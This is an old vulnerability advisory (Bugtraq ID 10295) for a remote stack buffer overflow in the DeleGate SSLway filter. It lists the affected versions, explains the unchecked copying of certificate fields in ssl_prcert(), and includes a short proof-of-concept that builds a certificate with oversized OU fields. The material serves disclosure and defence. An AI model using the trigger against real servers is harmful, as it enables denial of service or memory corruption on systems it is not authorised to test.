BID:10295

DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability

Info

DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability

Bugtraq ID:	10295
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	May 06 2004 12:00AM
Updated:	May 06 2004 12:00AM
Credit:	Discovery of this vulnerability has been credited to Joel Eriksson <[email protected]>.
Vulnerable:	DeleGate DeleGate 8.9.2 DeleGate DeleGate 8.9.1 DeleGate DeleGate 8.9 DeleGate DeleGate 8.5 .0 DeleGate DeleGate 8.4 .0 DeleGate DeleGate 8.3.4 DeleGate DeleGate 8.3.3 DeleGate DeleGate 7.9.11 DeleGate DeleGate 7.8.2 DeleGate DeleGate 7.8.1 DeleGate DeleGate 7.8 .0 - FreeBSD FreeBSD 5.0 - HP HP-UX 11.20 - IBM AIX 4.3.3 - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - OpenBSD OpenBSD 2.9 - OpenBSD OpenBSD 3.0 - Sun Solaris 8_sparc - Sun Solaris 7.0 - Sun Solaris 2.6 DeleGate DeleGate 7.7.1 - FreeBSD FreeBSD 5.0 - HP HP-UX 11.20 - IBM AIX 4.3.3 - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - OpenBSD OpenBSD 2.9 - OpenBSD OpenBSD 3.0 - Sun Solaris 8_sparc - Sun Solaris 7.0 - Sun Solaris 2.6 DeleGate DeleGate 7.7 .0 - FreeBSD FreeBSD 5.0 - HP HP-UX 11.20 - IBM AIX 4.3.3 - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - OpenBSD OpenBSD 2.9 - OpenBSD OpenBSD 3.0 - Sun Solaris 8_sparc - Sun Solaris 7.0 - Sun Solaris 2.6

Not Vulnerable:	DeleGate DeleGate 8.9.3

Discussion

DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability

A remote buffer overflow vulnerability has been reported to affect the DeleGate SSLway filter. This filter is employed when DeleGate is applying SSL to arbitrary protocols.

The issue presents itself due to a lack of sufficient boundary checks performed, when copying user-supplied certificate field contents.

A remote attacker may potentially exploit this issue, to overwrite the return address of the static ssl_prcert() function. The attacker may corrupt any other saved value that is within 768 bytes from the end of the affected buffers.

It has been reported that the X509_NAME_oneline() function will perform character conversion on characters below '0x20' or above '0x7e'; this may hinder exploitation of this issue.

Exploit / POC

DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability

The following example has been supplied:

[je@vudo ~]$ cat>openssl.cnf<<EOF
> [ req ]
> distinguished_name = req_dn
> prompt = no
> [ req_dn ]
> CN=bof
> 0.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 1.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 2.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 3.OU=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EOF
[je@vudo ~]$ openssl req -x509 -new -nodes -out bof.pem -keyout bof.pem -config openssl.cnf
Generating a 512 bit RSA private key
.........++++++++++++
..........++++++++++++
writing new private key to 'bof.pem'

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Solution / Fix

DeleGate SSLway Filter Remote Stack Based Buffer Overflow Vulnerability

Solution:
The vendor has released an upgrade to address this issue:

DeleGate DeleGate 7.7 .0